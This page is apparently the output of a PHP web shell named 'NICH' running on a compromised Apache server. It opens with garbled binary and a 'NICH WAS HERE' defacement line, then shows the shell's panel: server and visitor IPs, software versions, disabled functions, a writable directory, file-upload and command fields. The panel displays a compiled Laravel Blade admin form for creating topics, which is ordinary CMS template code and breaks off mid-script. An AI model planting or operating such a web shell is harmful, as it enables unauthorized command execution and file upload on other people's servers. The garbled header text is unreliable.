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BGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V NICH WAS HERE

NICH
Server IP : 78.111.106.131  /  Your IP : 18.191.169.138
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.2.34
System :
User : nobody ( 99)
PHP Version : 7.2.34
Disable Function : proc_open,system,passthru,exec,popen,shell_exec,dbmopen,suexec,escapeshellcmd,show_source,escapeshellarg,symlink,eval,php_uname,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /webler/tggtd.org/core/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /webler/tggtd.org/core/storage/framework/views/ccf519eb45720f3a452a7382ae04a64692ec8a56.php

<?php $__env->startSection('headerInclude'); ?>
    <link href="<?php echo e(URL::to("backEnd/libs/js/iconpicker/fontawesome-iconpicker.min.css")); ?>" rel="stylesheet">
    <!--[if lt IE 9]>
    <script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->
<?php $__env->stopSection(); ?>
<?php $__env->startSection('content'); ?>
    <div class="padding">
        <div class="box">
            <div class="box-header dker">
                <h3><i class="material-icons">
                        &#xe02e;</i> <?php echo e(trans('backLang.topicNew')); ?> <?php echo trans('backLang.'.$WebmasterSection->name); ?>

                </h3>
                <small>
                    <a href="<?php echo e(route('adminHome')); ?>"><?php echo e(trans('backLang.home')); ?></a> /
                    <a><?php echo trans('backLang.'.$WebmasterSection->name); ?></a>
                </small>
            </div>
            <div class="box-tool">
                <ul class="nav">
                    <li class="nav-item inline">
                        <a class="nav-link" href="<?php echo e(route('topics',$WebmasterSection->id)); ?>">
                            <i class="material-icons md-18">×</i>
                        </a>
                    </li>
                </ul>
            </div>
            <div class="box-body">
                <?php echo e(Form::open(['route'=>['topicsStore',$WebmasterSection->id],'method'=>'POST', 'files' => true ])); ?>


                <?php if($WebmasterSection->date_status): ?>
                    <div class="form-group row">
                        <label for="date"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.topicDate'); ?>

                        </label>
                        <div class="col-sm-10">
                            <div class="form-group">
                                <div class='input-group date' ui-jp="datetimepicker" ui-options="{
                format: 'YYYY-MM-DD',
                icons: {
                  time: 'fa fa-clock-o',
                  date: 'fa fa-calendar',
                  up: 'fa fa-chevron-up',
                  down: 'fa fa-chevron-down',
                  previous: 'fa fa-chevron-left',
                  next: 'fa fa-chevron-right',
                  today: 'fa fa-screenshot',
                  clear: 'fa fa-trash',
                  close: 'fa fa-remove'
                }
              }">
                                    <?php echo Form::text('date',date("Y-m-d"), array('placeholder' => '','class' => 'form-control','id'=>'date','required'=>'')); ?>

                                    <span class="input-group-addon">
                  <span class="fa fa-calendar"></span>
              </span>
                                </div>
                            </div>

                        </div>
                    </div>
                <?php else: ?>
                    <?php echo Form::hidden('date',date("Y-m-d"), array('placeholder' => '','class' => 'form-control','id'=>'date')); ?>

                <?php endif; ?>

                <?php if($WebmasterSection->expire_date_status): ?>
                    <div class="form-group row">
                        <label for="date"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.expireDate'); ?>

                        </label>
                        <div class="col-sm-10">
                            <div class="form-group">
                                <div class='input-group date' ui-jp="datetimepicker" ui-options="{
                format: 'YYYY-MM-DD',
                icons: {
                  time: 'fa fa-clock-o',
                  date: 'fa fa-calendar',
                  up: 'fa fa-chevron-up',
                  down: 'fa fa-chevron-down',
                  previous: 'fa fa-chevron-left',
                  next: 'fa fa-chevron-right',
                  today: 'fa fa-screenshot',
                  clear: 'fa fa-trash',
                  close: 'fa fa-remove'
                }
              }">
                                    <?php echo Form::text('expire_date','', array('placeholder' => '','class' => 'form-control','id'=>'expire_date')); ?>

                                    <span class="input-group-addon">
                  <span class="fa fa-calendar"></span>
              </span>
                                </div>
                            </div>

                        </div>
                    </div>
                <?php endif; ?>

                <?php if($WebmasterSection->sections_status!=0): ?>
                    <div class="form-group row">
                        <label for="section_id"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.hasCategories'); ?> </label>
                        <div class="col-sm-10">
                            <select name="section_id[]" id="section_id" class="form-control select2-multiple" multiple
                                    ui-jp="select2"
                                    ui-options="{theme: 'bootstrap'}" required>
                                <?php
                                $title_var = "title_" . trans('backLang.boxCode');
                                $title_var2 = "title_" . trans('backLang.boxCodeOther');
                                $t_arrow = "&laquo;";
                                if (trans('backLang.direction') == "ltr") {
                                    $t_arrow = "&raquo;";
                                }
                                ?>
                                <?php $__currentLoopData = $fatherSections; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $fatherSection): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                    <?php
                                    if ($fatherSection->$title_var != "") {
                                        $ftitle = $fatherSection->$title_var;
                                    } else {
                                        $ftitle = $fatherSection->$title_var2;
                                    }
                                    ?>
                                    <option value="<?php echo e($fatherSection->id); ?>"><?php echo e($ftitle); ?></option>
                                    <?php $__currentLoopData = $fatherSection->fatherSections; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $subFatherSection): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <?php
                                        if ($subFatherSection->$title_var != "") {
                                            $title = $subFatherSection->$title_var;
                                        } else {
                                            $title = $subFatherSection->$title_var2;
                                        }
                                        ?>
                                        <option value="<?php echo e($subFatherSection->id); ?>"><?php echo e($ftitle); ?> <?php echo e($t_arrow); ?> <?php echo e($title); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                            </select>
                        </div>
                    </div>
                <?php else: ?>
                    <?php echo Form::hidden('section_id','0'); ?>

                <?php endif; ?>

                <?php if(Helper::GeneralWebmasterSettings("tr_box_status")): ?>
                    <div class="form-group row">
                        <label for="title_tr"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.topicName'); ?>

                            <?php if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")): ?><?php echo trans('backLang.turkishBox'); ?><?php endif; ?>
                        </label>
                        <div class="col-sm-10">
                            <?php echo Form::text('title_tr','', array('placeholder' => '','class' => 'form-control','id'=>'title_tr','required'=>'', 'dir'=>trans('backLang.ltr'))); ?>

                        </div>
                    </div>
                <?php endif; ?>
                <?php if(Helper::GeneralWebmasterSettings("en_box_status")): ?>
                    <div class="form-group row">
                        <label for="title_en"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.topicName'); ?>

                            <?php if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")): ?><?php echo trans('backLang.englishBox'); ?><?php endif; ?>
                        </label>
                        <div class="col-sm-10">
                            <?php echo Form::text('title_en','', array('placeholder' => '','class' => 'form-control','id'=>'title_en','required'=>'', 'dir'=>trans('backLang.ltr'))); ?>

                        </div>
                    </div>
                <?php endif; ?>

                <?php if($WebmasterSection->longtext_status): ?>

                    <?php if($WebmasterSection->editor_status): ?>
                        <?php if(Helper::GeneralWebmasterSettings("tr_box_status")): ?>
                            <div class="form-group row">
                                <label for="details_tr"
                                       class="col-sm-2 form-control-label"><?php echo trans('backLang.bannerDetails'); ?>

                                    <?php if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")): ?><?php echo trans('backLang.turkishBox'); ?><?php endif; ?>
                                </label>
                                <div class="col-sm-10">
                                    <div class="box p-a-xs">
                                        <?php echo Form::textarea('details_tr','<div dir=ltr><br></div>', array('ui-jp'=>'summernote','placeholder' => '','class' => 'form-control summernote_tr', 'dir'=>trans('backLang.ltr'),'ui-options'=>'{height: 300,callbacks: {
        onImageUpload: function(files, editor, welEditable) {
            sendFile(files[0], editor, welEditable,0);
        }
    }}')); ?>

                                    </div>
                                </div>
                            </div>
                        <?php endif; ?>
                        <?php if(Helper::GeneralWebmasterSettings("en_box_status")): ?>
                            <div class="form-group row">
                                <label for="details_en"
                                       class="col-sm-2 form-control-label"><?php echo trans('backLang.bannerDetails'); ?>

                                    <?php if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")): ?><?php echo trans('backLang.englishBox'); ?><?php endif; ?>
                                </label>
                                <div class="col-sm-10">
                                    <div class="box p-a-xs">
                                        <?php echo Form::textarea('details_en','<div dir=ltr><br></div>', array('ui-jp'=>'summernote','placeholder' => '','class' => 'form-control summernote_en', 'dir'=>trans('backLang.ltr'),'ui-options'=>'{height: 300,callbacks: {
        onImageUpload: function(files, editor, welEditable) {
            sendFile(files[0], editor, welEditable,1);
        }
    }}')); ?>

                                    </div>
                                </div>
                            </div>
                        <?php endif; ?>
                    <?php else: ?>
                        <?php if(Helper::GeneralWebmasterSettings("tr_box_status")): ?>
                            <div class="form-group row">
                                <label for="details_tr"
                                       class="col-sm-2 form-control-label"><?php echo trans('backLang.bannerDetails'); ?>

                                    <?php if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")): ?><?php echo trans('backLang.turkishBox'); ?><?php endif; ?>
                                </label>
                                <div class="col-sm-10">
                                    <?php echo Form::textarea('details_tr','', array('placeholder' => '','class' => 'form-control', 'dir'=>trans('backLang.ltr'),'rows'=>'5')); ?>

                                </div>
                            </div>
                        <?php endif; ?>
                        <?php if(Helper::GeneralWebmasterSettings("en_box_status")): ?>
                            <div class="form-group row">
                                <label for="details_en"
                                       class="col-sm-2 form-control-label"><?php echo trans('backLang.bannerDetails'); ?>

                                    <?php if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")): ?><?php echo trans('backLang.englishBox'); ?><?php endif; ?>
                                </label>
                                <div class="col-sm-10">
                                    <?php echo Form::textarea('details_en','', array('placeholder' => '','class' => 'form-control', 'dir'=>trans('backLang.ltr'),'rows'=>'5')); ?>

                                </div>
                            </div>
                        <?php endif; ?>
                    <?php endif; ?>
                <?php endif; ?>

                <?php if($WebmasterSection->type==2): ?>
                    <div class="form-group row">
                        <label for="video_type"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.bannerVideoType'); ?></label>
                        <div class="col-sm-10">
                            <div class="radio">
                                <label class="ui-check ui-check-md">
                                    <?php echo Form::radio('video_type','0',true, array('id' => 'video_type1','class'=>'has-value','onclick'=>'document.getElementById("youtube_link_div").style.display="none";document.getElementById("embed_link_div").style.display="none";document.getElementById("vimeo_link_div").style.display="none";document.getElementById("files_div").style.display="block";document.getElementById("youtube_link").value=""')); ?>

                                    <i class="dark-white"></i>
                                    <?php echo e(trans('backLang.bannerVideoType1')); ?>

                                </label>
                                &nbsp; &nbsp;
                                <label class="ui-check ui-check-md">
                                    <?php echo Form::radio('video_type','1',false, array('id' => 'video_type2','class'=>'has-value','onclick'=>'document.getElementById("youtube_link_div").style.display="block";document.getElementById("embed_link_div").style.display="none";document.getElementById("vimeo_link_div").style.display="none";document.getElementById("files_div").style.display="none";document.getElementById("youtube_link").value=""')); ?>

                                    <i class="dark-white"></i>
                                    <?php echo e(trans('backLang.bannerVideoType2')); ?>

                                </label>
                                &nbsp; &nbsp;
                                <label class="ui-check ui-check-md">
                                    <?php echo Form::radio('video_type','2',false, array('id' => 'video_type2','class'=>'has-value','onclick'=>'document.getElementById("vimeo_link_div").style.display="block";document.getElementById("embed_link_div").style.display="none";document.getElementById("youtube_link_div").style.display="none";document.getElementById("files_div").style.display="none";document.getElementById("vimeo_link").value=""')); ?>

                                    <i class="dark-white"></i>
                                    <?php echo e(trans('backLang.bannerVideoType3')); ?>

                                </label>
                                &nbsp; &nbsp;
                                <label class="ui-check ui-check-md">
                                    <?php echo Form::radio('video_type','3',false, array('id' => 'video_type3','class'=>'has-value','onclick'=>'document.getElementById("embed_link_div").style.display="block";document.getElementById("vimeo_link_div").style.display="none";document.getElementById("youtube_link_div").style.display="none";document.getElementById("files_div").style.display="none";document.getElementById("embed_link").value=""')); ?>

                                    <i class="dark-white"></i>
                                    Embed
                                </label>
                            </div>
                        </div>
                    </div>

                    <div id="files_div">
                        <div class="form-group row">
                            <label for="video_file"
                                   class="col-sm-2 form-control-label"><?php echo trans('backLang.topicVideo'); ?></label>
                            <div class="col-sm-10">
                                <?php echo Form::file('video_file', array('class' => 'form-control','id'=>'video_file','accept'=>'*')); ?>

                            </div>
                        </div>

                        <div class="form-group row m-t-md" style="margin-top: 0 !important;">
                            <div class="col-sm-offset-2 col-sm-10">
                                <small>
                                    <i class="material-icons">&#xe8fd;</i>
                                    <?php echo trans('backLang.videoTypes'); ?>

                                </small>
                            </div>
                        </div>
                    </div>
                    <div class="form-group row" id="youtube_link_div" style="display: none">
                        <label for="youtube_link"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.bannerVideoUrl'); ?></label>
                        <div class="col-sm-10">
                            <?php echo Form::text('youtube_link','', array('placeholder' => 'https://www.youtube.com/watch?v=JQs4QyKnYMQ','class' => 'form-control','id'=>'youtube_link', 'dir'=>trans('backLang.ltr'))); ?>

                        </div>
                    </div>
                    <div class="form-group row" id="vimeo_link_div" style="display: none">
                        <label for="youtube_link"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.bannerVideoUrl2'); ?></label>
                        <div class="col-sm-10">
                            <?php echo Form::text('vimeo_link','', array('placeholder' => 'https://vimeo.com/131766159','class' => 'form-control','id'=>'vimeo_link', 'dir'=>trans('backLang.ltr'))); ?>

                        </div>
                    </div>
                    <div class="form-group row" id="embed_link_div" style="display: none">
                        <label for="embed_link"
                               class="col-sm-2 form-control-label">Embed Code</label>
                        <div class="col-sm-10">
                            <?php echo Form::textarea('embed_link','', array('placeholder' => '','class' => 'form-control','id'=>'embed_link', 'dir'=>trans('backLang.ltr'),'rows'=>'3')); ?>

                        </div>
                    </div>
                <?php endif; ?>

                <?php if($WebmasterSection->type==3): ?>
                    <div class="form-group row">
                        <label for="audio_file"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.topicAudio'); ?></label>
                        <div class="col-sm-10">
                            <?php echo Form::file('audio_file', array('class' => 'form-control','id'=>'audio_file','accept'=>'audio/*')); ?>

                        </div>
                    </div>

                    <div class="form-group row m-t-md" style="margin-top: 0 !important;">
                        <div class="col-sm-offset-2 col-sm-10">
                            <small>
                                <i class="material-icons">&#xe8fd;</i>
                                <?php echo trans('backLang.audioTypes'); ?>

                            </small>
                        </div>
                    </div>
                <?php endif; ?>

                <div class="form-group row">
                    <label for="photo_file"
                           class="col-sm-2 form-control-label"><?php echo trans('backLang.topicPhoto'); ?></label>
                    <div class="col-sm-10">
                        <?php echo Form::file('photo_file', array('class' => 'form-control','id'=>'photo_file','accept'=>'image/*')); ?>

                    </div>
                </div>

                <div class="form-group row m-t-md" style="margin-top: 0 !important;">
                    <div class="col-sm-offset-2 col-sm-10">
                        <small>
                            <i class="material-icons">&#xe8fd;</i>
                            <?php echo trans('backLang.imagesTypes'); ?>

                        </small>
                    </div>
                </div>

                <?php if($WebmasterSection->icon_status): ?>
                    <div class="form-group row">
                        <label for="icon"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.sectionIcon'); ?></label>
                        <div class="col-sm-10">
                            <div class="input-group">
                                <?php echo Form::text('icon','', array('placeholder' => '','class' => 'form-control icp icp-auto','id'=>'icon', 'data-placement'=>'bottomRight')); ?>

                                <span class="input-group-addon"></span>
                            </div>
                        </div>
                    </div>
                <?php endif; ?>

                <?php if($WebmasterSection->attach_file_status): ?>
                    <div class="form-group row">
                        <label for="attach_file"
                               class="col-sm-2 form-control-label"><?php echo trans('backLang.topicAttach'); ?></label>
                        <div class="col-sm-10">
                            <?php echo Form::file('attach_file', array('class' => 'form-control','id'=>'attach_file')); ?>

                        </div>
                    </div>
                    <div class="form-group row m-t-md" style="margin-top: 0 !important;">
                        <div class="col-sm-offset-2 col-sm-10">
                            <small>
                                <i class="material-icons">&#xe8fd;</i>
                                <?php echo trans('backLang.attachTypes'); ?>

                            </small>
                        </div>
                    </div>
                <?php endif; ?>


                
                <?php if(count($WebmasterSection->customFields) >0): ?>
                    <?php
                    $cf_title_var = "title_" . trans('backLang.boxCode');
                    $cf_title_var2 = "title_" . trans('backLang.boxCodeOther');
                    ?>
                    <?php $__currentLoopData = $WebmasterSection->customFields; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $customField): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                        <?php
                        if ($customField->$cf_title_var != "") {
                            $cf_title = $customField->$cf_title_var;
                        } else {
                            $cf_title = $customField->$cf_title_var2;
                        }

                        // check field language status
                        $cf_land_identifier = "";
                        $cf_land_active = false;
                        $cf_land_dir = trans('backLang.direction');
                        if (Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status")) {
                            if ($customField->lang_code == "ar") {
                                $cf_land_identifier = trans('backLang.turkishBox');
                            } elseif ($customField->lang_code == "en") {
                                $cf_land_identifier = trans('backLang.englishBox');
                            }
                        }
                        if (Helper::GeneralWebmasterSettings("tr_box_status") && $customField->lang_code == "ar") {
                            $cf_land_active = true;
                            $cf_land_dir = "ltr";
                        }
                        if (Helper::GeneralWebmasterSettings("en_box_status") && $customField->lang_code == "en") {
                            $cf_land_active = true;
                            $cf_land_dir = "ltr";
                        }
                        if ($customField->lang_code == "all") {
                            $cf_land_active = true;
                        }
                        // required Status
                        $cf_required = "";
                        if ($customField->required) {
                            $cf_required = "required";
                        }

                        ?>

                        <?php if($cf_land_active): ?>
                            <?php if($customField->type ==12): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?> <i class="fa fa-vimeo"></i>
                                    </label>
                                    <div class="col-sm-10">
                                        <?php echo Form::text('customField_'.$customField->id,$customField->default_value, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>'ltr')); ?>

                                    </div>
                                </div>
                            <?php elseif($customField->type ==11): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?> <i class="fa fa-youtube"></i>
                                    </label>
                                    <div class="col-sm-10">
                                        <?php echo Form::text('customField_'.$customField->id,$customField->default_value, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>'ltr')); ?>

                                    </div>
                                </div>
                            <?php elseif($customField->type ==10): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?></label>
                                    <div class="col-sm-10">
                                        <?php echo Form::file('customField_'.$customField->id, array('class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'','accept'=>'*')); ?>

                                    </div>
                                </div>
                            <?php elseif($customField->type ==9): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?></label>
                                    <div class="col-sm-10">
                                        <?php echo Form::file('customField_'.$customField->id, array('class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'','accept'=>'*')); ?>

                                    </div>
                                </div>
                            <?php elseif($customField->type ==8): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?></label>
                                    <div class="col-sm-10">
                                        <?php echo Form::file('customField_'.$customField->id, array('class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'','accept'=>'image/*')); ?>

                                    </div>
                                </div>
                            <?php elseif($customField->type ==7): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?></label>
                                    <div class="col-sm-10">
                                        <select name="<?php echo e('customField_'.$customField->id); ?>[]"
                                                id="<?php echo e('customField_'.$customField->id); ?>"
                                                class="form-control select2-multiple" multiple
                                                ui-jp="select2"
                                                ui-options="{theme: 'bootstrap'}" <?php echo e($cf_required); ?>>
                                            <?php
                                            $cf_details_var = "details_" . trans('backLang.boxCode');
                                            $cf_details_var2 = "details_en" . trans('backLang.boxCodeOther');
                                            if ($customField->$cf_details_var != "") {
                                                $cf_details = $customField->$cf_details_var;
                                            } else {
                                                $cf_details = $customField->$cf_details_var2;
                                            }
                                            $cf_details_lines = preg_split('/\r\n|[\r\n]/', $cf_details);
                                            $line_num = 1;
                                            ?>
                                            <?php $__currentLoopData = $cf_details_lines; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $cf_details_line): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                                <option value="<?php echo e($line_num); ?>" <?php echo e(($customField->default_value == $line_num) ? "selected='selected'":""); ?>><?php echo e($cf_details_line); ?></option>
                                                <?php
                                                $line_num++;
                                                ?>
                                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                        </select>
                                    </div>
                                </div>
                            <?php elseif($customField->type ==6): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?></label>
                                    <div class="col-sm-10">
                                        <select name="<?php echo e('customField_'.$customField->id); ?>"
                                                id="<?php echo e('customField_'.$customField->id); ?>"
                                                class="form-control c-select" <?php echo e($cf_required); ?>>
                                            <option value="">- - <?php echo $cf_title; ?> - -</option>
                                            <?php
                                            $cf_details_var = "details_" . trans('backLang.boxCode');
                                            $cf_details_var2 = "details_en" . trans('backLang.boxCodeOther');
                                            if ($customField->$cf_details_var != "") {
                                                $cf_details = $customField->$cf_details_var;
                                            } else {
                                                $cf_details = $customField->$cf_details_var2;
                                            }
                                            $cf_details_lines = preg_split('/\r\n|[\r\n]/', $cf_details);
                                            $line_num = 1;
                                            ?>
                                            <?php $__currentLoopData = $cf_details_lines; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $cf_details_line): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                                <option value="<?php echo e($line_num); ?>" <?php echo e(($customField->default_value == $line_num) ? "selected='selected'":""); ?>><?php echo e($cf_details_line); ?></option>
                                                <?php
                                                $line_num++;
                                                ?>
                                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                        </select>
                                    </div>
                                </div>
                            <?php elseif($customField->type ==5): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?>

                                    </label>
                                    <div class="col-sm-10">
                                        <div>
                                            <div class='input-group date' ui-jp="datetimepicker" ui-options="{
                format: 'YYYY-MM-DD hh:mm A',
                icons: {
                  time: 'fa fa-clock-o',
                  date: 'fa fa-calendar',
                  up: 'fa fa-chevron-up',
                  down: 'fa fa-chevron-down',
                  previous: 'fa fa-chevron-left',
                  next: 'fa fa-chevron-right',
                  today: 'fa fa-screenshot',
                  clear: 'fa fa-trash',
                  close: 'fa fa-remove'
                }
              }">
                                                <?php echo Form::text('customField_'.$customField->id,$customField->default_value, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>$cf_land_dir)); ?>

                                                <span class="input-group-addon">
                  <span class="fa fa-calendar"></span>
              </span>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            <?php elseif($customField->type ==4): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?>

                                    </label>
                                    <div class="col-sm-10">
                                        <div class="form-group">
                                            <div class='input-group date' ui-jp="datetimepicker" ui-options="{
                format: 'YYYY-MM-DD',
                icons: {
                  time: 'fa fa-clock-o',
                  date: 'fa fa-calendar',
                  up: 'fa fa-chevron-up',
                  down: 'fa fa-chevron-down',
                  previous: 'fa fa-chevron-left',
                  next: 'fa fa-chevron-right',
                  today: 'fa fa-screenshot',
                  clear: 'fa fa-trash',
                  close: 'fa fa-remove'
                }
              }">
                                                <?php echo Form::text('customField_'.$customField->id,$customField->default_value, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>$cf_land_dir)); ?>

                                                <span class="input-group-addon">
                  <span class="fa fa-calendar"></span>
              </span>
                                            </div>
                                        </div>

                                    </div>
                                </div>
                            <?php elseif($customField->type ==3): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?>

                                    </label>
                                    <div class="col-sm-10">
                                        <?php echo Form::email('customField_'.$customField->id,$customField->default_value, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>$cf_land_dir)); ?>

                                    </div>
                                </div>

                            <?php elseif($customField->type ==2): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?>

                                    </label>
                                    <div class="col-sm-10">
                                        <?php echo Form::number('customField_'.$customField->id,$customField->default_value, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'','min'=>0, 'dir'=>$cf_land_dir)); ?>

                                    </div>
                                </div>
                            <?php elseif($customField->type ==1): ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?>

                                    </label>
                                    <div class="col-sm-10">
                                        <?php echo Form::textarea('customField_'.$customField->id,$customField->default_value, array('placeholder' => '','class' => 'form-control',$cf_required=>'', 'dir'=>$cf_land_dir,'rows'=>'5')); ?>

                                    </div>
                                </div>
                            <?php else: ?>
                                
                                <div class="form-group row">
                                    <label for="<?php echo e('customField_'.$customField->id); ?>"
                                           class="col-sm-2 form-control-label"><?php echo $cf_title; ?>

                                        <?php echo $cf_land_identifier; ?>

                                    </label>
                                    <div class="col-sm-10">
                                        <?php echo Form::text('customField_'.$customField->id,$customField->default_value, array('placeholder' => '','class' => 'form-control','id'=>'customField_'.$customField->id,$cf_required=>'', 'dir'=>$cf_land_dir)); ?>

                                    </div>
                                </div>
                            <?php endif; ?>
                        <?php endif; ?>

                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                <?php endif; ?>
                

                <div class="form-group row m-t-md">
                    <div class="col-sm-offset-2 col-sm-10">
                        <button type="submit" class="btn btn-primary m-t"><i class="material-icons">
                                &#xe31b;</i> <?php echo trans('backLang.add'); ?></button>
                        <a href="<?php echo e(route('topics',$WebmasterSection->id)); ?>"
                           class="btn btn-default m-t"><i class="material-icons">
                                &#xe5cd;</i> <?php echo trans('backLang.cancel'); ?></a>
                    </div>
                </div>


                <?php echo e(Form::close()); ?>

            </div>
        </div>
    </div>

<?php $__env->stopSection(); ?>

<?php $__env->startSection('footerInclude'); ?>

    <script src="<?php echo e(URL::to("backEnd/libs/js/iconpicker/fontawesome-iconpicker.js")); ?>"></script>
    <script src="<?php echo e(URL::to("backEnd/libs/jquery/summernote/dist/summernote.js")); ?>"></script>
    <script>
        $(function () {
            $('.icp-auto').iconpicker({placement: '<?php echo e((trans('backLang.direction')=="ltr")?"topLeft":"topRight"); ?>'});
        });

        function sendFile(file, editor, welEditable,lang) {
            data = new FormData();
            data.append("file", file);
            data.append("_token", "<?php echo e(csrf_token()); ?>");
            $.ajax({
                data: data,
                type: 'POST',
                xhr: function() {
                    var myXhr = $.ajaxSettings.xhr();
                    if (myXhr.upload) myXhr.upload.addEventListener('progress',progressHandlingFunction, false);
                    return myXhr;
                },
                url: "<?php echo e(route("topicsPhotosUpload")); ?>",
                cache: false,
                contentType: false,
                processData: false,
                success: function(url) {
                    var image = $('<img>').attr('src', '<?php echo e(URL::to("uploads/topics/")); ?>/' + url);
                    if(lang==1) {
                        $('.summernote_en').summernote("insertNode", image[0]);
                    }else{
